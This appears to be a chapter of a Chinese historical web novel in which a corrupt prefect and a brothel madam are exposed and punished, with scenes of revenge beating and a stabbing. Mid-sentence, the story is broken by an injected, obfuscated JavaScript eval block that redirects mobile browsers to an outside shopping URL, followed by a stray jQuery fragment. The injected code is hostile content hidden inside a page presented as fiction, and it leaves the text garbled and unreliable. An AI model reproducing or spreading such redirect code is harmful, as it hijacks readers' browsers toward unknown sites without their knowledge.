最后一天是个响晴薄日,艳阳高照,真是个好天气,元清越想着,这样好的天光,这群恶人想必是最后一天见了。
昨日夜里,沈澈几乎一夜没睡,似乎在等着什么消息。他大方地将床让给了元清越,叫她好生休息,明日他带她去亲眼看着恶人伏法。
元清越久违地睡上了床,一想到明日能亲眼见着仇人的下场,梦就变得更为香甜了。
今日是做戏的最后一日了,他们得耐着性子演完今日最后一场,不叫他们起疑心。
元清越一早上起来,给沈澈更衣,如今她做这事已很是熟练,一月有余的相处,二人渐渐褪去了初时的尴尬,甚至有时还能凑近耳边说两句话,而不觉不自然。
马车上,元清越打开窗户,她有好久没有见过白日的扬州城了,街上车水马龙,人流如织,这样热闹的场景,在她的记忆里好像已经是上辈子的事了。
沈澈见她面上惆怅,以为她是紧张了,安慰地拍了拍她的肩。
元清越转过头来,看出了他的担忧。她粲然一笑,道:“能见他们自食恶果,我高兴还来不及。”
一行人直冲知府宅邸。知府今日休沐,见沈澈气势汹汹来访,眉心一跳,故做客套道:“有失远迎,大人何故到访寒舍?”
“沈某执行公务罢了,望大人配合。敢问您已故令郎的屋子在何处?可否指路?”
知府已是脸色大变,“犬子的离世一直是老夫心头之痛,死者为大,已故人的旧居还是不要打扰为好。”
“是吗?”沈澈冷笑,“但醉仙楼老鸨如何说令郎屋子的一面墙满满都是金银财宝呢?”
知府吓得冷汗连连,“一青楼老鸨所言,说的话如何做数,少不得攀咬,大人何信其言?”
知府后悔不已,他一向多疑,信不过府衙里那些人,因着老鸨原是贵妃的心腹嬷嬷的亲戚,皆为京城里那位效力,想着应是一条心。老妇又是白身,自己要如何拿捏她不过是一句话的事,故他也没防着她,砌墙藏匿财物也是这老妇提的建议,如今却害苦了他。
但他并未就这么束手就擒,他向自己的心腹暗示,心腹得令,准备号召府兵动手。谁料,府外围上来一圈又一圈的官兵,定眼一看,全是朝廷派来的兵。
府兵吓得大气不敢喘,无一人敢出头。沈澈让部下压人上来,正是那知府侄子与前几日醉仙楼出没的胡商。
知府侄子没骨气的很,一见知府便哭爹喊娘,求知府救救他,胡商则硬气多了,用蹩脚的汉语嚷道:“你们中原人就是如此做生意?太不守信了。”
昨日刚入夜,沈澈便得到消息,这胡人欲在明日晌午前动身返回边疆。
故沈澈加派人手,死盯这胡商与府衙中人的来往。功夫不负有心人,知府侄子今早打马游街,大刀阔斧地欲与美妾外出同游。
出城门时,见是知府侄子,无人敢拦下检查。他便大摇大摆地驾着马车出城门。
城门外几里地,正有胡人商队等候此时,知府侄子过去与其交谈,洽谈成功,手下从轿子里抬出几十个箱子,打开全是金银,他交予胡商。
胡商验过后转手给他战马所在地地址,早已等候多时的沈澈下属一举将其拿下,人赃并获。不消多少力气拷打,这知府侄子一下全招了。
与此同时,知府儿子所居旧院,其中某一面墙,墙体空薄,几锤下去,墙体轰然倒塌,其中露出众多金银财宝。
知府见大势已去,辩无可辩,再无机会翻身,吓得屁滚尿流,狼狈地瘫软在地上,乖乖束手就擒。
元清越站在沈澈身旁,冷眼瞧着,心下讥讽。为祸一方的土皇帝就这么倒了,落得如此不堪的下场,真是罪有应得,大快人心。恶意夺来的富贵权势如清晨朝露,太阳一照,便什么也没了。
其实他们的计谋也未见得有多高明,不过是抓准了他们暴露的弱点,当你的敌人觉得你与他也没什么分别时,警惕自然就弱了下去。有时的自作聪明,反而就能让人抓准漏洞。
人与人的博弈,赢家往往就赢在对细枝末节心理的把控中。
沈澈转头看她,元清越眼睛轻眨了一下,轻声道:“多谢大人。”
沈澈侧身靠近她,回道:“不用谢。这是你的功劳。”
将知府等人一并收监,找到各处赃款入库,巩固好罪证后。元清越与沈澈回到了醉仙楼。
元清越敲响老鸨的房门,她正在午睡,起来时还骂骂咧咧,见是元清越,她不情不愿问道:“何事叫我起来?”
元清越上手整理了一下她凌乱的衣领,拍拍她的肩,微笑道:“当然是来送你上路啊?”
老鸨喃喃:“上路?上什么路?我又不用出门。”
在元清越的背后,一个又一个女子站至她身后,目光灼灼,她们一张张脸愤怒、冷硬、决绝,她们恨恨盯着她,恨不得饮其血、啖其肉,颇有些山雨欲来的架势。
一双双仇恨的眼睛盯着她,老鸨惊出一身冷汗,后退两步,大喊:“你们这是做什么?来人,快来人!把这群不听话的给我抓起来!”
李素月大笑道:“妈妈,不对,老虔婆,你瞧瞧这哪还有人啊?”
老鸨环顾四周,见的确无人帮手,死到临头,仍发狠强撑道:“别以为你们能拿我如何,我背后可是知府,是整个扬州城的官。你们这群白眼狼,老娘供你们吃香的喝辣的,竟然敢背叛我。对付我,你们可有好果子吃吗?”
元清越幽幽道:“知府?在牢里等着你呢。多亏了你呀,妈妈,若不是你十年如一日地爱抓人把柄,他的罪证怎么会这么快被找到呢?我们还要感谢你呢。”
老鸨目露凶光,想冲去毁掉罪证。元清越让人拦住她,沈澈拿出那本老鸨无比熟悉的本子。老鸨目眦欲裂,盯着他手里的本子,扑出身子来抢,却被人一把拦住,绑了起来。
原本她记录这些一是为了自保,威胁知府做她与醉仙楼的靠山,二是为了给京城里那位留下拿捏知府的把柄,如今多年谋算,本想作为登天的垫脚石,反而成了砸死自己的罪魁祸首。
老鸨的身子摇摇欲坠,脸色发白,身子软软地靠着墙滑下去。如今大势已去,她已没有活路了。故而她眼一翻,准备咬舌自尽。
元清越眼疾手快,给她的嘴巴塞上一团厚实的布,没让她这么痛快就去了。
沈澈走了出来道:“我先离开,这有人会保证你们的安全。”顿了顿,他又言:“切莫闹出人命。”说完他转身离开。
老鸨被拖回她的房间。元清越走上前,问道:“你一而再、再而三行伤天害理之事,难道就不怕天道循环,终有报应临头么?”
她凑近她耳边道:“你帮京城的那位做事,失败了他会放过你吗?”老鸨瞪大眼睛,一脸不可置信,恨恨盯着她,恐惧在她的身上疾速蔓延。
元清越又道:“别急,我把你儿子先送去京城了。还好他和你一样无恶不作,不然真是叫人狠不心下来。”
老鸨登时脸色苍白,目眦欲裂,凶狠地向她扑来,芜娘子一脚就把她绊倒了,砰一下屋内发出巨响。
门被牢牢关住了,里头时不时传来一声声凄惨的呜呜叫声,后来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811417|210853||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声音渐渐弱了下去。
门口站着沈澈的部下,他们听着这恶贯满盈的老虔婆发出的声音,众人皆不言语,只静静听着。良久后,不知是谁说了一声,“该。”
门被推开。老鸨瘫软在地上,发冠歪斜,脸上青一块紫一块,一遍脸高高地肿起来。她浑身还在不停颤抖,一声也发不出来,身上穿的华服早已糟蹋得不成样子,再无当初的嚣张气焰。
出来的姑娘们,她们头发散了,脸红扑扑的,手在轻轻发抖。有人哭了,有人笑了。窗外天光大亮,好像那些压了她们这么多年的阴霾,终于透进一丝光。
元清越揉着发酸发疼的手,力的作用是相互的,但积压在心里这么多年的郁闷之气发了,只有她自己才知道多痛快。
看着老鸨的惨状,众人恍惚,曾经觉得永远也逃离不了的魔窟,抗争不了的恶鬼,原来也不过如此,恶鬼也会流血,也会痛,也会沦落到这种地步。
此时,让众人意想不到的人出现了——老鸨的女儿饶静,竟奇迹般恢复了神志。她走上前,看着自己的母亲,那样狼狈,那样痛不欲生。她没笑也没哭,只是静静地看着她的惨状。
她走进老鸨屋内,出来时,手中握着一柄小刀,缓缓走来。老鸨拼命摇头,涕泗横流,也许是长久没说过话,她的声音异常沙哑:“普天之下,再没有比你更叫我恨的人了,上天有眼,让我能亲自报这旧日冤仇。”
寒光一闪,不过瞬息,老鸨痛到蹬腿,头磕到墙上,发出剧烈一声响,她青筋暴起,眼泪簌簌流下,看着亲生女儿冷漠的脸,眼一翻,晕了过去。
元清越上前去看了看,下手的地方不致命但够疼,这老鸨没有什么大碍。
其实她刚刚说把老鸨儿子送去京城是骗她的,只是为了吓她一下。不过等她醒了,就会发现儿子和自己在一个牢房,届时一起去京城就审。京城还是要去的,一起去还有个伴呢。
饶静的出现众人是没有意料到的,大家隐约猜测,也许她一开始就没疯,装疯卖傻只是她保护自己的方法。又无比唏嘘,明明是亲生女儿,却能狠毒到这种地步。
在众人惊讶的眼神中,饶静突然跪了下来,她向所有人磕了三个头。众人呆愣,不解其意时,她拿起刀欲自刎,元清越手疾眼快抢过刀来。
饶静捂住脸崩溃大哭,她觉得自己是此等恶毒之人的女儿,身上流淌着这样罪恶的血液,她难苟活独存于世。在场所有女子听了,皆难忍情绪,哭了起来,问她为何如此傻?
众人相拥依偎在一起,流着眼泪,细细安慰对方,互相抚慰熨帖这些年积压在彼此心底的苦楚伤痕。窗外日头斜斜照将进来,暖融融铺洒在众人身上,晒干她们这么多年身上的潮湿气息。
沈澈回来后正好看到这一幕,也难免动容,他深深地看了一眼元清越。她的脸很苍白,整个人无力地松懈下来,神情极为复杂,面上有一丝丝的快意,更多的是怅然,五味杂陈,百感交集。
元清越眼睫轻眨,极力忍住夺眶欲出的眼泪,拥抱饶静时,她的脸上沾了血,血在她素净的恍若白玉的脸庞上,红与白的交织,极鲜明的对比,有一种摄人心魄的美丽神气。
沈澈一时呆愣住,仿佛这世间其他人都消失了,天地间只剩下他们两人。
这么多人里,他只看得到她。
元清越若有所感,转过头,与沈澈对视上。他心头微微一顿,掠过一丝异样,好似有什么不一样了。
拿到老鸨罪证原本以及知府的口供后,沈澈一一查处扬州官场的腌臜事,抓获了一大批涉事官员。